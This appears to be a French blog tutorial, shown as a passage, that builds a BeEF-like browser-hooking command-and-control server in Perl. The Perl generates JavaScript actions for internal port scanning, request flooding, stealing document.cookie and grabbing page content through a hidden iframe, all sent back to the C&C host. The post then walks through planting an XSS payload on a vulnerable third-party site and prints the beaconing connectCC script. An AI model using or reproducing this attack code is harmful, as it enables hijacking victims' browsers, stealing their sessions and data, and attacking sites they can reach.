 820: sub actionPortscan {
 821:  
 822:     my ($params) = @_;
 823:     my ($target,$port,$timeout) = split(/\+/,$params);
 824:     
 825:     if(!$timeout) { $timeout = 100; }
 826:     
 827:     my $code;
 828:         
 829:     $code .= "var img = new Image();"."\n";
 830:     $code .= "var open = 0;"."\n";
 831:     $code .= "img.onerror = function () { open = 1; };"."\n";    
 832:     $code .= "img.onload = img.onerror;"."\n";
 833:     $code .= "img.src = 'http://' + '".$target."' + ':' + '".$port."';"."\n";
 834:     $code .= "setTimeout(function () {"."\n";
 835:     $code .= " if (open) { connectCC(\'".$target."/".$port.":open\'); }"."\n";    
 836:     $code .= " else { connectCC(\'".$target."/".$port.":closed\'); }"."\n";
 837:     $code .= "}, ".$timeout.");"."\n";        
 838:     
 839:     return $code;
 840:     
 841: };
 842:  
 843: sub actionFlood {
 844:  
 845:     my ($params) = @_;
 846:     
 847:     my $code;
 848:     
 849:     $code .= "function flood() {"."\n";
 850:     $code .= " var img = new Image();"."\n";
 851:     $code .= " img.src = '".&URLDecode($params)."';"."\n";
 852:     $code .= " img.onload;"."\n";
 853:     $code .= "}"."\n";
 854:     $code .= "var floodInterval = setInterval('flood()',50);"."\n";
 855:     $code .= "setTimeout(function() { clearInterval(floodInterval); },".($ARGS{"HEARTBEAT"}-500).");"."\n";
 856:     
 857:     return $code;
 858:     
 859: }
 860:  
 861: sub actionCookies {
 862:  
 863:     my ($params) = @_;
 864:     
 865:     my $code;
 866:     
 867:     $code .= "var returnValue = document.cookie,".";\n";
 868:     $code .= "connectCC(returnValue);"."\n";
 869:     
 870:     return $code;
 871:     
 872: }
 873:  
 874: sub actionIdle {
 875:  
 876:     my ($params) = @_;
 877:     
 878:     ;
 879:     
 880: }
 881:  
 882: ## ABORTED. For now...
 883: #
 884:  
 885: sub actionGetPage {
 886:  
 887:     my ($params) = @_;
 888:     
 889:     my $code;
 890:     
 891:     $code .= "function sendContent() {"."\n";
 892:     $code .= " var targetContent = window.frames['grabFrame'].document.body.innerHTML;"."\n";
 893:     $code .= " connectCC(targetContent);"."\n";
 894:     $code .= "}"."\n";    
 895:     $code .= "var iframeTag = document.getElementById('grabFrame');"."\n";    
 896:     $code .= "if(iframeTag) { document.body.removeChild(iframeTag); }"."\n";  
 897:     $code .= "var iframeObj = document.createElement('IFRAME');"."\n";
 898:     $code .= "iframeObj.src = '".&URLDecode($params)."';"."\n";    
 899:     $code .= "iframeObj.name = 'grabFrame';"."\n";
 900:     $code .= "iframeObj.id = 'grabFrame';"."\n";
 901:     $code .= "iframeObj.height=0;"."\n";
 902:     $code .= "iframeObj.width=0;"."\n";
 903:     $code .= "document.body.appendChild(iframeObj);"."\n";    
 904:     $code .= "var targetContent = window.frames['grabFrame'].document.body.innerHTML;"."\n";
 905:     $code .= "if(targetContent == null) {"."\n";
 906:     $code .= "  targetContent = document.getElementById('grabFrame').contentDocument.body.innerHTML;"."\n";
 907:     $code .= "}"."\n";
 908:     
 909:     #$code .= "alert(targetContent);"."\n";
 910:     #$code .= " connectCC(targetContent);"."\n";
 911:     $code .= "setTimeout(\"connectCC(targetContent)\",".$ARGS{"LOADTIMER"}.");"."\n";        
 912:     #$code .= "setTimeout(\"alert(targetContent)\",".$ARGS{"LOADTIMER"}.");"."\n";    
 913:  
 914:     ;
 915:     
 916: }
 917:  
 918: #
 919: ## But I will be back...
 920:  
 921: ##### Injection Scripts - END #########
 922:  
 923: ##### Default Page #####
 924: sub defaultPage {
 925:  
 926:     my ($c_socket,$client_ref,$request_ref) = @_;
 927:     
 928:     my $response;
 929:     $response .= genHeader("200","text/html");
 930:     $response .= "\n";
 931:     $response .= "<HTML><HEAD></HEAD><BODY>You should probably not be here...</BODY></HTML>\n";
 932:     print $c_socket $response;
 933:  
 934:  
 935: }
 936:  
 937:  
 938:  
 939: sub genHeader {
 940:  
 941:     my ($response_code,$response_type) = @_;
 942:     
 943:     my $response_text = $HTTP_RESPONSE{$response_code};
 944:     
 945:     my $header;
 946:     
 947:     $header = "HTTP/1.1 $response_code $response_text\n";
 948:     $header .= "Content-Type: $response_type\n";
 949:     $header .= "Cache-control: no-cache\n";
 950:     $header .= "\n";
 951:     
 952:     return $header;
 953:     
 954: }
 955:  
 956:  
 957:  
 958:     
 959:  
 960:  
 961: ##### Generic Functions - START ####
 962:  
 963: sub displayUsage {
 964:  
 965:     print "Looser...\n";
 966:     
 967: }
 968:  
 969: sub getSessionID {
 970:  
 971:     my $sessionIDlength = 10;
 972:     my @values = (0 .. 9,A .. Z);
 973:     my $sessionID;
 974:     for(my $i=0; $i<= $sessionIDlength; $i++) {
 975:         $sessionID .= $values[int(rand(36))];
 976:     }
 977:     
 978:     return $sessionID;
 979:     
 980: }
 981:  
 982: sub URLDecode {
 983:  
 984:     my ($url) = @_;
 985:     
 986:     $url =~ s/%([a-fA-F0-9]{2})/chr(hex($1))/eg;
 987:     
 988:     return $url;
 989: }
 990:  
 991: sub buildURI {
 992:  
 993:     my ($req_ref) = @_;
 994:     
 995:     my $uri;
 996:     my $resource = $req_ref->[1]->[0];
 997:     my $arguments;
 998:     my $arguments_ref = $req_ref->[1]->[1];
 999:     
1000:     while(my($arg,$value) = each(%$arguments_ref)) {
1001:         $arguments .= "\&".$arg."=".$value;
1002:     }
1003:     $arguments =~ s/^&//;
1004:     
1005:     $uri = $resource."?".$arguments;
1006:     
1007:     return $uri;
1008:     
1009: }
1010:                     
1011: ##### Generic Functions - END ######    

Puis on lance le serveur sur le port 81:


image


Et on accède à la page d’administration:


image


Phase II: le site web vulnérable


On choisit un site web en rapport avec notre scénario contenant une faille XSS. Ce site web sera le vecteur de notre payload.


image


Phase III: le payload XSS


Le payload contenant le lien vers l’injecteur de script dans notre page web peut être le suivant:



   1: <script src="http://localhost:81/inject"></script>

Pour information le script injecté est:



   1: function connectCC(retval) {
   2:  var URL= 'http://PROXIA0:81/inject?sessionID=7BJLE7MY26R';
   3:  if(retval) { URL = URL+'&return='+retval; } 
   4:  var scriptTag = document.getElementById('loadScript');
   5:  var head = document.getElementsByTagName('head').item(0);
   6:  if(scriptTag) head.removeChild(scriptTag);
   7:  script = document.createElement('script');
   8:  script.src = URL;
   9:  script.type = 'text/javascript';
  10:  script.id = 'loadScript';
  11:  head.appendChild(script);
  12: }
  13: var sessionID='7BJLE7MY26R';
  14: setInterval('connectCC()',6500);
  15: 1

Phase IV: la diffusion de la page web infectée


Cette phase est laissée à l’appréciation du lecteur. Vos propositions sont les bienvenues.


Phase V: la collecte des résultats


On peut configurer notre serveur C&C pour effectuer une action dès que le browser de la victime est “hooké”. Ici on choisit d’afficher un message dans le browser:


image


La victime clique sur le lien et voit le message:


image


Dès que le browser est “hooké” on le voit apparaître sur notre page d’administration. On peut alors effectuer un certain nombre d’actions. Ici on choisit de rediriger la page web vers un autre lien:


image


Vous avez maintenant dans les mains un outil vous permettant de développer vos propres actions…légales bien sûr!


Remarque: la ressemblance avec BeEF ne vous a pas échappé…


Source : Merci à @edgtslfcbngq6sk

Aucun commentaire:

Enregistrer un commentaire

Partager avec...